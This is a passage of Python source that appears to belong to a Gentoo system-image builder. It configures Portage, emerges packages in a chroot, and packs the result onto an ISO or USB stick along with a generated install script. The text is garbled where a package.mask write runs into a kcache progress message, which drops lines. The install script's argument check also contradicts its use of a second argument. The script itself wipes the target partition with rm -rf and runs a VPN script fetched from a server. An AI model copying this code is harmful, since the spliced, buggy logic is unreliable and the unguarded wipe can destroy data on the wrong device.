\"Gentoo.Linux.Server.Edition.PPC64\",\n # \"Gentoo.Linux.Server.Edition.SPARC\",\n \"Gentoo.For.Server.Generic.X86\",\n \"Gentoo.For.Router.Generic.AMD64\",\n \"Gentoo.For.Router.Generic.X86\",\n ]\n\n @staticmethod\n def stdArgFlags():\n return [FuCommon.STD_ARG_NON_INTERACTIVE,\n FuCommon.STD_ARG_HOSTNAME,\n FuCommon.STD_ARG_TIMEZONE,\n FuCommon.STD_ARG_LOCALE]\n\n @staticmethod\n def usage():\n pass\n\n def __init__(self, param):\n self.filesDir = os.path.dirname(os.path.realpath(__file__))\n self.param = param\n self.p = InfoPrinter()\n\n self.minDiskSize = 4 * 1024 * 1024 * 1024 # 4GB\n self.defaultGentooMirror = \"http://distfiles.gentoo.org\"\n self.defaultKernelMirror = \"http://www.kernel.org/pub/linux/kernel\"\n self.hostMakeConf = \"/etc/portage/make.conf\"\n self.hostPortageDir = \"/var/portage\"\n self.hostRepoGentooDir = \"/var/portage/repo-gentoo\"\n self.hostRepoFpemudOverlayDir = \"/var/portage/repo-fpemud-overlay\"\n self.hostKcacheDir = \"/var/portage/kcache\"\n self.hostSysRescueCdFile = \"/usr/share/systemrescuecd/systemrescuecd-x86-newest.iso\"\n\n self.args = None\n self.ftpd = None\n self.mirror = None\n self.workDir = None # directory for building stage4\n self.downloadDir = None\n self.incompleteFlagFile = None\n self.sysrcdIsoFile = None\n self.cacheStage3File = None\n self.vpnScriptContent = None\n\n def main(self, args, argList):\n self.args = args\n\n # get operating system parameters\n if self._getArch(self.args.os) == \"x86\":\n self.arch = \"x86\"\n self.profileTarget = \"\" # --fixme\n if self._getArch(self.args.os) == \"amd64\":\n self.arch = \"amd64\"\n self.profileTarget = \"../../var/portage/repo-gentoo/profiles/default/linux/amd64/13.0\"\n else:\n assert False\n if \".Server.\" in self.args.os:\n self.chassis = \"server\"\n elif \".Desktop.\" in self.args.os:\n self.chassis = \"desktop\"\n elif \".Laptop.\" in self.args.os:\n self.chassis = \"laptop\"\n else:\n assert False\n\n # parse argument list\n self.args.vpn_server_addr = None\n self.args.to_isofile = None # iso file name\n self.args.to_cdrom = None # cdrom device name, \"\" means auto-detect cdrom device\n self.args.to_usbstick = None # usb device name, \"\" means auto-detect usb device\n i = 0\n while i < len(argList):\n if argList[i] == \"--vpn-server\":\n if i < len(argList) - 1:\n self.args.vpn_server_addr = argList[i + 1]\n i += 1\n else:\n raise Exception(\"No vpn server address next to --vpn-server argument.\")\n elif argList[i] == \"--to-isofile\":\n if self.args.to_isofile is not None:\n raise Exception(\"Duplicate --to-isofile argument.\")\n if self.args.to_cdrom is not None:\n raise Exception(\"--to-cdrom and --to-isofile are mutually exclusive.\")\n if self.args.to_usbstick is not None:\n raise Exception(\"--to-usbstick and --to-isofile are mutually exclusive.\")\n if i < len(argList) - 1:\n self.args.to_isofile = argList[i + 1]\n i += 1\n else:\n raise Exception(\"No filename next to --to-isofile argument.\")\n elif argList[i] == \"--to-cdrom\":\n if self.args.to_cdrom is not None:\n raise Exception(\"Duplicate --to-cdrom argument.\")\n if self.args.to_isofile is not None:\n raise Exception(\"--to-isofile and --to-cdrom are mutually exclusive.\")\n if self.args.to_usbstick is not None:\n raise Exception(\"--to-usbstick and --to-cdrom are mutually exclusive.\")\n if i < len(argList) - 1:\n self.args.to_cdrom = argList[i + 1]\n i += 1\n else:\n self.args.to_cdrom = \"\"\n elif argList[i] == \"--to-usbstick\":\n if self.args.to_usbstick is not None:\n raise Exception(\"Duplicate --to-usbstick argument.\")\n if self.args.to_isofile is not None:\n raise Exception(\"--to-isofile and --to-usbstick are mutually exclusive.\")\n if self.args.to_cdrom is not None:\n raise Exception(\"--to-cdrom and --to-usbstick are mutually exclusive.\")\n if i < len(argList) - 1:\n self.args.to_usbstick = argList[i + 1]\n i += 1\n else:\n self.args.to_usbstick = \"\"\n else:\n raise Exception(\"Invalid argument\")\n i += 1\n\n # auto detect cdrom or usbstick\n if self.args.to_cdrom is not None:\n if self.args.to_cdrom == \"\":\n # auto detect\n assert False\n else:\n # check\n assert False\n if self.args.to_usbstick is not None:\n if self.args.to_usbstick == \"\":\n # auto detect\n assert False\n else:\n # check\n if not FuUtil.isBlkDevUsbStick(self.args.to_usbstick):\n raise Exception(\"Device %s does not seem to be an usb-stick.\" % (self.args.to_usbstick))\n if FuUtil.getBlkDevSize(self.args.to_usbstick) < self.minDiskSize:\n raise Exception(\"Device %s needs to be at least %d.0 GB.\" % (self.args.to_usbstick, self.minDiskSize / 1024 / 1024 / 1024))\n if FuUtil.isMounted(self.args.to_usbstick):\n raise Exception(\"Device %s or any of its partitions is already mounted, umount it first.\" % (self.args.to_usbstick))\n\n # determine work directory\n if self.args.use_cache:\n self.downloadDir = self.param.cacheDir\n self.workDir = os.path.join(self.param.cacheDir, self.args.os)\n self.incompleteFlagFile = os.path.join(self.workDir, \"incomplete.flag\")\n if not os.path.exists(self.downloadDir):\n os.makedirs(self.downloadDir)\n if not os.path.exists(self.workDir):\n # we have no cache\n os.makedirs(self.workDir)\n FuUtil.touchFile(self.incompleteFlagFile)\n bHasOldWorkDir = False\n else:\n if os.path.exists(self.incompleteFlagFile):\n # cache is not completely built, so don't use it\n FuUtil.mkDirAndClear(self.workDir)\n FuUtil.touchFile(self.incompleteFlagFile)\n bHasOldWorkDir = False\n else:\n # cache is in good state, we use it\n bHasOldWorkDir = True\n else:\n self.workDir = os.path.join(self.param.tmpDir, self.args.os)\n os.mkdir(self.workDir)\n self.downloadDir = os.path.join(self.param.tmpDir, \"download\")\n os.mkdir(self.downloadDir)\n bHasOldWorkDir = False\n\n # no update check\n if self.args.no_update and not bHasOldWorkDir:\n raise Exception(\"No history data, --no-update is not applicable.\")\n\n # show warnings\n if self.chassis == \"laptop\" and self.args.vpn_server_addr is None:\n print(\"WARNING: It's common to generate VPN configuration for laptops through --vpn-server argument, which is not specified.\")\n print(\"\")\n\n # do work\n if os.path.exists(self.hostPortageDir):\n self.ftpd = LocalFTPd(0, \"/var/portage\", os.path.join(self.param.tmpDir, \"local-ftpd.log\"))\n self.ftpd.start()\n try:\n self._stepInit()\n\n if not bHasOldWorkDir:\n self._stepExtractStage3()\n\n if not bHasOldWorkDir:\n self._stepInstallSystem()\n else:\n if not self.args.no_update:\n self._stepUpdateSystem()\n else:\n self.p.printInfo(\">> Guest system updating is skipped since --no-update is specified.\")\n print(\"\")\n finally:\n if self.ftpd is not None:\n self.ftpd.stop()\n self.ftpd = None\n\n if self.args.to_isofile is not None:\n self._stepMakeIso(self.args.to_isofile)\n return\n\n if self.args.to_cdrom is not None:\n isoFile = os.path.join(self.tmpDir, \"my.iso\")\n self._stepMakeIso(isoFile)\n FuCommon.burnIsoFile(isoFile, self.args.to_cdrom)\n return\n\n if self.args.to_usbstick is not None:\n self._stepMakeUsbStick()\n return\n\n def _stepInit(self):\n self.p.printInfo(\">> Initializing...\")\n self.mirror = self._portageGetMirror()\n if self.mirror is None:\n self.mirror = self.defaultGentooMirror\n print(\"\")\n\n self.p.printInfo(\">> Downloading stage3 archive...\")\n flist = glob.glob(os.path.join(self.param.cacheDir, \"stage3-%s-*.tar.bz2\" % (self.arch)))\n if len(flist) == 0:\n self.cacheStage3File = self._stage3Download()\n else:\n self.cacheStage3File = sorted(flist, reverse=True)[0]\n if not self._stage3StillThere(self.cacheStage3File):\n self.cacheStage3File = self._stage3Download()\n else:\n print(\"\")\n\n self.p.printInfo(\">> Downloading SystemRescueCD image file...\")\n self.sysrcdIsoFile = SysrcdCommon.downloadImageFile(self.args.use_cache, self.param.cacheDir, self.downloadDir)\n print(\"\")\n\n if self.args.vpn_server_addr is not None:\n self.p.printInfo(\">> Get VPN client script...\")\n self.vpnScriptContent = self._execFpemudVpnServerApiCmd(self.args.vpn_server_addr, \"get-client-script\", \"linux\")\n print(\"\")\n\n def _stepExtractStage3(self):\n self.p.printInfo(\">> Extracting %s...\" % (os.path.basename(self.cacheStage3File)))\n\n # extract\n FuUtil.shell(\"/bin/tar -x -j --xattrs -f \\\"%s\\\" -C \\\"%s\\\"\" % (self.cacheStage3File, self.workDir))\n\n # truncate /etc/fstab\n with open(os.path.join(self.workDir, \"etc\", \"fstab\"), \"w\") as f:\n f.write(\"\")\n\n # create /etc/machine-info\n with open(os.path.join(self.workDir, \"etc\", \"machine-info\"), \"w\") as f:\n f.write(\"CHASSIS=%s\" % (self.chassis))\n\n # remove redundant device nodes\n devDir = os.path.join(self.workDir, \"dev\")\n for fn in os.listdir(devDir):\n if fn in [\"console\", \"full\", \"null\", \"zero\"]:\n continue\n FuUtil.forceDelete(os.path.join(devDir, fn))\n\n print(\"\")\n\n def _stepInstallSystem(self):\n self.p.printInfo(\">> Installing the guest system...\")\n print(\"\")\n\n self.p.printInfo(\" >> Installing /var/portage/repo-gentoo...\")\n repoGentooDir = os.path.join(self.workDir, \"var\", \"portage\", \"repo-gentoo\")\n FuUtil.ensureDir(os.path.dirname(repoGentooDir))\n if os.path.exists(self.hostRepoGentooDir):\n FuUtil.shell(\"/bin/cp -r %s %s\" % (self.hostRepoGentooDir, repoGentooDir))\n FuUtil.gitClean(repoGentooDir)\n print(\"\")\n else:\n FuUtil.gitClone(\"git://github.com/gentoo/gentoo\", repoGentooDir)\n\n self.p.printInfo(\" >> Installing /var/portage/repo-fpemud-overlay...\")\n repoFpemudOverlayDir = os.path.join(self.workDir, \"var\", \"portage\", \"repo-fpemud-overlay\")\n FuUtil.ensureDir(os.path.dirname(repoFpemudOverlayDir))\n if os.path.exists(self.hostRepoFpemudOverlayDir):\n FuUtil.shell(\"/bin/cp -r %s %s\" % (self.hostRepoFpemudOverlayDir, repoFpemudOverlayDir))\n FuUtil.gitClean(repoFpemudOverlayDir)\n print(\"\")\n else:\n FuUtil.gitClone(\"git://github.com/fpemud/fpemud-overlay\", repoFpemudOverlayDir)\n\n self.p.printInfo(\" >> Installing /etc/portage...\")\n if True:\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"make.conf\")\n FuUtil.ensureDir(os.path.dirname(fn))\n\n varChost = FuUtil.getMakeConfVar(fn, \"CHOST\", raw=True)\n varCflags = FuUtil.getMakeConfVar(fn, \"CFLAGS\", raw=True)\n varCxxflags = FuUtil.getMakeConfVar(fn, \"CXXFLAGS\", raw=True)\n with open(fn, \"w\") as f:\n f.write(\"\")\n\n FuUtil.setMakeConfVar(fn, \"CHOST\", varChost)\n FuUtil.setMakeConfVar(fn, \"CFLAGS\", varCflags)\n FuUtil.setMakeConfVar(fn, \"CXXFLAGS\", varCxxflags)\n FuUtil.setMakeConfVar(fn, \"DISTDIR\", \"/var/portage/distfiles\")\n FuUtil.setMakeConfVar(fn, \"PKGDIR\", \"/var/portage/packages\")\n FuUtil.setMakeConfVar(fn, \"RPMDIR\", \"/var/portage/rpms\")\n FuUtil.setMakeConfVar(fn, \"ACCEPT_KEYWORDS\", \"~x86 ~amd64\")\n FuUtil.setMakeConfVar(fn, \"GENTOO_DEFAULT_MIRROR\", self.defaultGentooMirror)\n FuUtil.setMakeConfVar(fn, \"KERNEL_DEFAULT_MIRROR\", self.defaultKernelMirror)\n FuUtil.setMakeConfVar(fn, \"GENTOO_MIRRORS\", \"${GENTOO_DEFAULT_MIRROR}\")\n FuUtil.setMakeConfVar(fn, \"KERNEL_MIRRORS\", \"${KERNEL_DEFAULT_MIRROR}\")\n\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"make.profile\")\n FuUtil.ensureDir(os.path.dirname(fn))\n FuUtil.shell(\"/bin/ln -sf \\\"%s\\\" \\\"%s\\\"\" % (self.profileTarget, fn))\n\n dirname = os.path.join(self.workDir, \"etc\", \"portage\", \"repos.conf\")\n FuUtil.ensureDir(dirname)\n with open(os.path.join(dirname, \"00-gentoo.conf\"), \"w\") as f:\n buf = \"\"\n buf += \"[DEFAULT]\\n\"\n buf += \"auto-sync = no\\n\"\n buf += \"main-repo = %s\\n\" % (FuUtil.repoGetRealName(repoGentooDir))\n buf += \"\\n\"\n buf += \"[%s]\\n\" % (FuUtil.repoGetRealName(repoGentooDir))\n buf += \"auto-sync = no\\n\"\n buf += \"location = /var/portage/repo-gentoo\\n\"\n f.write(buf)\n with open(os.path.join(dirname, \"01-fpemud-overlay.conf\"), \"w\") as f:\n buf = \"\"\n buf += \"[%s]\\n\" % (FuUtil.repoGetRealName(repoFpemudOverlayDir))\n buf += \"auto-sync = no\\n\"\n buf += \"location = /var/portage/repo-fpemud-overlay\\n\"\n f.write(buf)\n\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"package.use\", \"setup\")\n FuUtil.mkDirAndClear(os.path.dirname(fn))\n with open(fn, \"w\") as f:\n f.write(\"*/* gles2\\n\")\n f.write(\"net-libs/webkit-gtk -gles2\\n\")\n f.write(\"sys-boot/grub grub_platforms_efi-64 grub_platforms_pc\\n\")\n f.write(\"sys-apps/kmod python\\n\")\n f.write(\"sys-apps/dbus systemd\\n\")\n f.write(\"virtual/libudev systemd\\n\")\n f.write(\"virtual/udev systemd\\n\")\n\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"package.mask\", \"setup\")\n FuUtil.mkDirAndClear(os.path.dirname(fn))\n with open(fn, \"w\") as f:\n f.write(\"> Preparing /var/portage/kcache...\")\n kcacheDir = os.path.join(self.workDir, \"var\", \"portage\", \"kcache\")\n FuUtil.ensureDir(os.path.dirname(kcacheDir))\n FuUtil.shell(\"/bin/cp -r %s %s\" % (self.hostKcacheDir, kcacheDir))\n print(\"\")\n\n self.p.printInfo(\" >> Emerging pkg-fpemud/fpemud-refsystem...\")\n if True:\n self._makeConfStart()\n # the latter is for eliminating \"!!! CONFIG_PROTECT is empty\"\n cfgprotect = \"CONFIG_PROTECT=\\\"-* /.fpemud-umake\\\"\"\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(\"\", \"/usr/bin/emerge -s non-exist-package\", flags=\"stdout\") # eliminate \"Performing Global Updates\"\n r.runCmd(\"\", \"/usr/bin/eselect news read all\", flags=\"stdout\") # eliminate gentoo news notification\n r.runCmd(cfgprotect, \"/usr/bin/emerge --autounmask-only -uDN @world\", flags=\"stdout\")\n r.runCmd(cfgprotect, \"/usr/bin/emerge --keep-going -uDN @world\")\n r.runCmd(cfgprotect, \"/usr/sbin/perl-cleaner --all\")\n\n r.runCmd(cfgprotect, \"/usr/bin/emerge --autounmask-only pkg-fpemud/fpemud-refsystem\", flags=\"stdout\")\n try:\n r.runCmd(cfgprotect, \"/usr/bin/emerge --keep-going --quiet-fail pkg-fpemud/fpemud-refsystem\")\n except:\n # use (one-by-one + try-version) mode when failure\n out = r.runCmd(cfgprotect, \"/usr/bin/emerge -p pkg-fpemud/fpemud-refsystem\", flags=\"stdout\").decode(\"utf-8\")\n for line in out.split(\"\\n\"):\n m = re.search(\"^\\\\[ebuild.*?N.*?\\\\] (\\\\S+)\", line)\n if m is None:\n continue\n cpvList = FuUtil.portageGetSameSlotPkgAtom(m.group(1))\n cpvList.reverse()\n for i in range(0, len(cpvList)):\n if i < len(cpvList) - 1:\n try:\n r.runCmd(cfgprotect, \"/usr/bin/emerge --quiet-fail -1 =%s\" % (cpvList[i]))\n break\n except:\n pass\n else:\n r.runCmd(cfgprotect, \"/usr/bin/emerge -1 =%s\" % (cpvList[i]))\n\n self.p.printInfo(\" >> Updating the whole system...\")\n if True:\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"make.conf\")\n FuUtil.removeMakeConfVar(fn, \"USE\")\n\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"package.use\", \"setup\")\n os.remove(fn)\n\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"package.mask\", \"setup\")\n os.remove(fn)\n\n # write /etc/portage/package.use/98-autouse-manual\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"package.use\", \"98-autouse-manual\")\n shutil.copy(os.path.join(self.filesDir, \"autouse-manual\"), fn)\n\n # write /var/lib/portage/world\n self._generateWorldFile(os.path.join(self.workDir, \"var\", \"lib\", \"portage\", \"world\"))\n\n # modify /etc/login.defs\n self._modifyLoginDefsFile(os.path.join(self.workDir, \"etc\", \"login.defs\"))\n\n # main work\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem post --auto-fix\")\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem update --sync\")\n if True:\n cfgprotect = \"CONFIG_PROTECT=\\\"-* /.fpemud-umake\\\"\"\n setupUseFile = os.path.join(self.workDir, \"etc\", \"portage\", \"package.use\", \"80-setup\")\n\n # special operation, can be removed if systemd becomes first-class citizen\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(cfgprotect, \"/usr/bin/emerge -C sys-apps/openrc\")\n r.runCmd(cfgprotect, \"/usr/bin/emerge -C sys-apps/busybox\")\n\n # \"emerge @world\" for the first time\n # this 2 pass emerging is to solve some circular dependencies\n with open(setupUseFile, \"w\") as f:\n f.write(\"dev-lang/mono minimal\\n\")\n f.write(\"media-libs/mesa -vaapi\\n\")\n with _ChrootRunner(self.workDir) as r:\n if self._portagePackageInWorldFile(\"app-i18n/ibus\", os.path.join(self.workDir, \"var\", \"lib\", \"portage\", \"world\")):\n # trick code, to workaround\n # https://bugs.gentoo.org/show_bug.cgi?id=543470\n r.runCmd(cfgprotect, \"/usr/bin/emerge --autounmask-only -e @world\", flags=\"stdout\")\n try:\n r.runCmd(cfgprotect, \"/usr/bin/emerge --quiet-fail -1 app-i18n/ibus\")\n except:\n pass\n try:\n r.runCmd(cfgprotect, \"/usr/bin/emerge --quiet-fail --keep-going -e --exclude \\\"app-i18n/ibus\\\" @world\")\n except:\n pass\n else:\n # normal code\n r.runCmd(cfgprotect, \"/usr/bin/emerge --autounmask-only -e @world\", flags=\"stdout\")\n try:\n r.runCmd(cfgprotect, \"/usr/bin/emerge --quiet-fail --keep-going -e @world\")\n except:\n pass\n\n # \"emerge @world\" again\n os.remove(setupUseFile)\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(cfgprotect, \"/usr/bin/emerge --autounmask-only -uDN @world\")\n try:\n r.runCmd(cfgprotect, \"/usr/bin/emerge --quiet-fail --keep-going -uDN @world\")\n except:\n pass\n\n # main work done, remove incomplete flag\n os.unlink(self.incompleteFlagFile)\n\n # advanced update and add user\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem update --fetch --build\")\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem clean\")\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem add-user fpemud\")\n\n # enable services\n self.__enableServicesImpl()\n\n # end\n assert self._dirIsEmpty(os.path.join(self.workDir, \"tmp\"))\n self._clearDir(os.path.join(self.workDir, \"var\", \"tmp\"))\n self._makeConfEnd()\n\n def _stepUpdateSystem(self):\n self.p.printInfo(\">> Updating the guest system...\")\n\n self._makeConfStart()\n\n cfgprotect = \"CONFIG_PROTECT=\\\"-* /.fpemud-umake\\\"\"\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(cfgprotect, \"/usr/bin/emerge -1 pkg-fpemud/fpemud-refsystem\")\n\n # set /etc/portage/package.use/98-autouse-manual\n fn = os.path.join(self.workDir, \"etc\", \"portage\", \"package.use\", \"98-autouse-manual\")\n shutil.copy(os.path.join(self.filesDir, \"autouse-manual\"), fn)\n\n # set /var/lib/portage/world\n self._generateWorldFile(os.path.join(self.workDir, \"var\", \"lib\", \"portage\", \"world\"))\n\n # advanced update and add user\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem post --auto-fix\")\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem update\")\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem clean\")\n if not os.path.exists(os.path.join(self.workDir, \"home\", \"fpemud\")):\n r.runCmd(\"FPEMUD_REFSYSTEM_PREPARE=1\", \"/usr/bin/fpemud-refsystem add-user fpemud\")\n\n # enable services\n self.__enableServicesImpl()\n\n # end\n assert self._dirIsEmpty(os.path.join(self.workDir, \"tmp\"))\n self._clearDir(os.path.join(self.workDir, \"var\", \"tmp\"))\n self._makeConfEnd()\n\n def __enableServicesImpl(self):\n if self.chassis == \"server\":\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(\"\", \"/usr/bin/systemctl enable systemd-networkd\")\n r.runCmd(\"\", \"/usr/bin/systemctl enable sshd\")\n if self.chassis == \"desktop\" or self.chassis == \"laptop\":\n with _ChrootRunner(self.workDir) as r:\n r.runCmd(\"\", \"/usr/bin/systemctl enable systemd-timesyncd\")\n r.runCmd(\"\", \"/usr/bin/systemctl enable sddm\")\n r.runCmd(\"\", \"/usr/bin/systemctl enable NetworkManager\")\n r.runCmd(\"\", \"/usr/bin/systemctl enable smbd\")\n\n def _stepMakeIso(self, isofile):\n self.p.printInfo(\">> Making %s...\" % (isofile))\n print(\"\")\n\n isoMntDir = os.path.join(self.param.tmpDir, \"iso-mnt\")\n os.mkdir(isoMntDir)\n isoTmpDir = os.path.join(self.param.tmpDir, \"iso-tmp\")\n os.mkdir(isoTmpDir)\n\n # extract system rescue cd\n self.p.printInfo(\" >> Extracting SystemRescueCD...\")\n FuUtil.shell(\"/bin/mount -o loop,exec \\\"%s\\\" \\\"%s\\\" 2>/dev/null\" % (self.sysrcdIsoFile, isoMntDir))\n try:\n FuUtil.shell(\"/bin/cp -r --remove-destination %s/* %s\" % (isoMntDir, isoTmpDir))\n finally:\n FuUtil.shell(\"/bin/umount \\\"%s\\\"\" % (isoMntDir))\n print(\"\")\n\n # install custom files\n self.__packImpl(isoTmpDir)\n\n # re-create system rescue cd\n self.p.printInfo(\" >> Generating ISO file...\")\n cmd = \"/usr/bin/genisoimage \"\n cmd += \"-J -R -l \"\n cmd += \"-input-charset default \"\n cmd += \"-V MySetupCd \"\n cmd += \"-b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table \"\n cmd += \"-eltorito-alt-boot -b boot/grub/efi.img -no-emul-boot \"\n cmd += \"-o \\\"%s\\\" \\\"%s\\\"\" % (isofile, isoTmpDir)\n FuUtil.shell(cmd)\n\n def _stepMakeUsbStick(self):\n self.p.printInfo(\">> Making USB stick...\")\n print(\"\")\n\n devName = self.args.to_usbstick\n partName = devName + \"1\"\n\n isoMntDir = os.path.join(self.param.tmpDir, \"iso-mnt\")\n os.mkdir(isoMntDir)\n usbMntDir = os.path.join(self.param.tmpDir, \"usb-mnt\")\n os.mkdir(usbMntDir)\n utilTmpDir = os.path.join(self.param.tmpDir, \"tools\")\n os.mkdir(utilTmpDir)\n\n # install system rescue cd into usb stick\n self.p.printInfo(\" >> Installing SystemRescueCD on %s...\" % (devName))\n if not FuUtil.isBlkDevUsbStick(devName):\n raise Exception(\"Device %s does not seem to be an usb-stick.\" % (devName)) # re-check\n if FuUtil.getBlkDevSize(devName) < self.minDiskSize:\n raise Exception(\"Device %s needs to be at least %d.0 GB.\" % (\n devName, self.minDiskSize / 1024 / 1024 / 1024)) # re-check\n if FuUtil.isMounted(devName):\n raise Exception(\"Device %s or any of its partitions is already mounted, umount it first.\" % (devName))\n SysrcdCommon.makeUsbStick(self.sysrcdIsoFile, devName, isoMntDir, usbMntDir, utilTmpDir)\n print(\"\")\n\n # install custom files into usb stick\n FuUtil.shell(\"/bin/mount -t vfat %s %s\" % (partName, usbMntDir))\n try:\n self.__packImpl(usbMntDir)\n finally:\n FuUtil.shell(\"/bin/umount \\\"%s\\\"\" % (usbMntDir))\n\n def __packImpl(self, dstDir):\n curDir = os.getcwd()\n # the guest system is less than 5GB, which is not very big\n packfileBoot = \"stage4-boot.tar.gz\"\n # so we use gzip which is the fastest\n packfileRoot = \"stage4-root.tar\"\n\n firstBootArg = \"--setup-machine-id\"\n if self.args.hostname is not None:\n firstBootArg += \" --hostname=\\\"%s\\\"\" % (self.args.hostname)\n if self.args.timezone is not None:\n firstBootArg += \" --timezone=\\\"%s\\\"\" % (self.args.timezone)\n if self.args.locale is not None:\n firstBootArg += \" --locale=\\\"%s\\\"\" % (self.args.locale)\n\n self.p.printInfo(\" >> Packing /boot of guest system...\")\n try:\n os.chdir(os.path.join(self.workDir, \"boot\"))\n FuUtil.shell(\"/bin/tar -c -z --xattrs -f \\\"%s\\\" *\" % (os.path.join(dstDir, packfileBoot)))\n print(\"\")\n finally:\n os.chdir(curDir)\n\n self.p.printInfo(\" >> Packing / of guest system...\")\n try:\n os.chdir(self.workDir)\n exc = \"\"\n exc += \"--exclude=\\\"./boot/*\\\" \"\n exc += \"--exclude=\\\"./var/cache/*\\\" \"\n exc += \"--exclude=\\\"./var/portage/distfiles/*\\\" \"\n exc += \"--exclude=\\\"./var/portage/kcache/*\\\" \"\n files = \"\"\n files += \"-f \\\"%s\\\" \" % (os.path.join(dstDir, packfileRoot))\n for i in range(2, 10):\n files += \"-f \\\"%s.%02d\\\" \" % (os.path.join(dstDir, packfileRoot), i)\n FuUtil.shell(\"/bin/tar -c -M -L 2G --xattrs %s %s *\" % (exc, files)) # we may need multiple volumes\n print(\"\")\n finally:\n os.chdir(curDir)\n\n self.p.printInfo(\" >> Generating install script...\")\n if True:\n # generate install script\n buf = \"\"\n buf += \"#!/bin/bash\\n\"\n buf += \"\\n\"\n buf += \"if [ \\\"$#\\\" -ne 1 ]; then\\n\"\n buf += \" echo \\\"Usage: install.sh [boot-device]\\\"\\n\"\n buf += \" exit 1\\n\"\n buf += \"fi\\n\"\n buf += \"\\n\"\n buf += \"ROOT_DEV=$1\\n\"\n buf += \"BOOT_DEV=$2\\n\"\n buf += \"\\n\"\n buf += \"/bin/mount $ROOT_DEV /mnt/gentoo\\n\"\n buf += \"echo 'Extract %s'\\n\" % (packfileRoot)\n buf += \"/usr/bin/find /mnt/gentoo -mindepth 1 -maxdepth 1 -print0 | xargs -0 /bin/rm -rf\\n\"\n\n files = \"\"\n for fn in glob.glob(os.path.join(dstDir, packfileRoot + \"*\")):\n files += \"-f /livemnt/boot/%s \" % (os.path.basename(fn))\n buf += \"/bin/tar -x -M --xattrs -C /mnt/gentoo %s\\n\" % (files) # may need to extract multiple volumes\n\n buf += \"echo ''\\n\"\n buf += \"\\n\"\n buf += \"if [ \\\"$BOOT_DEV\\\" != \\\"\\\" ] ; then\\n\"\n buf += \" /bin/mount $BOOT_DEV /mnt/gentoo/boot\\n\"\n buf += \"fi\\n\"\n buf += \"\\n\"\n buf += \"echo 'Extract %s'\\n\" % (packfileBoot)\n buf += \"/usr/bin/find /mnt/gentoo/boot -mindepth 1 -maxdepth 1 -print0 | xargs -0 /bin/rm -rf\\n\"\n buf += \"/bin/tar -x -z --xattrs -C /mnt/gentoo/boot -f /livemnt/boot/%s\\n\" % (packfileBoot)\n buf += \"echo ''\\n\"\n buf += \"\\n\"\n buf += \"/bin/mount -t proc proc /mnt/gentoo/proc\\n\"\n buf += \"/bin/mount --rbind /sys /mnt/gentoo/sys\\n\"\n buf += \"/bin/mount --make-rslave /mnt/gentoo/sys\\n\"\n buf += \"/bin/mount --rbind /dev /mnt/gentoo/dev\\n\"\n buf += \"/bin/mount --make-rslave /mnt/gentoo/dev\\n\"\n buf += \"/bin/mount -t tmpfs tmpfs /mnt/gentoo/tmp\\n\"\n buf += \"\\n\"\n buf += \"echo 'Command: fpemud-refsystem post --auto-fix'\\n\"\n buf += \"FPEMUD_REFSYSTEM_SETUP=1 FPEMUD_REFSYSTEM_ROOTDEV=$ROOT_DEV FPEMUD_REFSYSTEM_BOOTDEV=$BOOT_DEV /usr/bin/chroot /mnt/gentoo fpemud-refsystem post --auto-fix\\n\"\n buf += \"echo ''\\n\"\n buf += \"echo 'Command: fpemud-refsystem update-swap'\\n\"\n buf += \"FPEMUD_REFSYSTEM_SETUP=1 FPEMUD_REFSYSTEM_ROOTDEV=$ROOT_DEV FPEMUD_REFSYSTEM_BOOTDEV=$BOOT_DEV /usr/bin/chroot /mnt/gentoo fpemud-refsystem update-swap\\n\"\n buf += \"echo ''\\n\"\n buf += \"echo 'Command: fpemud-refsystem update-parallelism'\\n\"\n buf += \"FPEMUD_REFSYSTEM_SETUP=1 FPEMUD_REFSYSTEM_ROOTDEV=$ROOT_DEV FPEMUD_REFSYSTEM_BOOTDEV=$BOOT_DEV /usr/bin/chroot /mnt/gentoo fpemud-refsystem update-parallelism\\n\"\n buf += \"echo ''\\n\"\n buf += \"echo 'Command: fpemud-refsystem update --build'\\n\"\n buf += \"FPEMUD_REFSYSTEM_SETUP=1 FPEMUD_REFSYSTEM_ROOTDEV=$ROOT_DEV FPEMUD_REFSYSTEM_BOOTDEV=$BOOT_DEV /usr/bin/chroot /mnt/gentoo fpemud-refsystem update --build\\n\"\n buf += \"echo ''\\n\"\n buf += \"\\n\"\n buf += \"echo 'Command: systemd-firstboot %s'\\n\" % (firstBootArg)\n buf += \"/usr/bin/chroot /mnt/gentoo systemd-firstboot %s\\n\" % (firstBootArg)\n buf += \"echo ''\\n\"\n buf += \"\\n\"\n buf += \"if [ -e /livemnt/boot/chroot-create-vpn-cfg.sh ] ; then\\n\"\n buf += \" /bin/cp /livemnt/boot/chroot-create-vpn-cfg.sh /mnt/gentoo\\n\"\n buf += \" /usr/bin/chroot /mnt/gentoo /chroot-create-vpn-cfg.sh\\n\"\n buf += \" /bin/rm /mnt/gentoo/chroot-create-vpn-cfg.sh\\n\"\n buf += 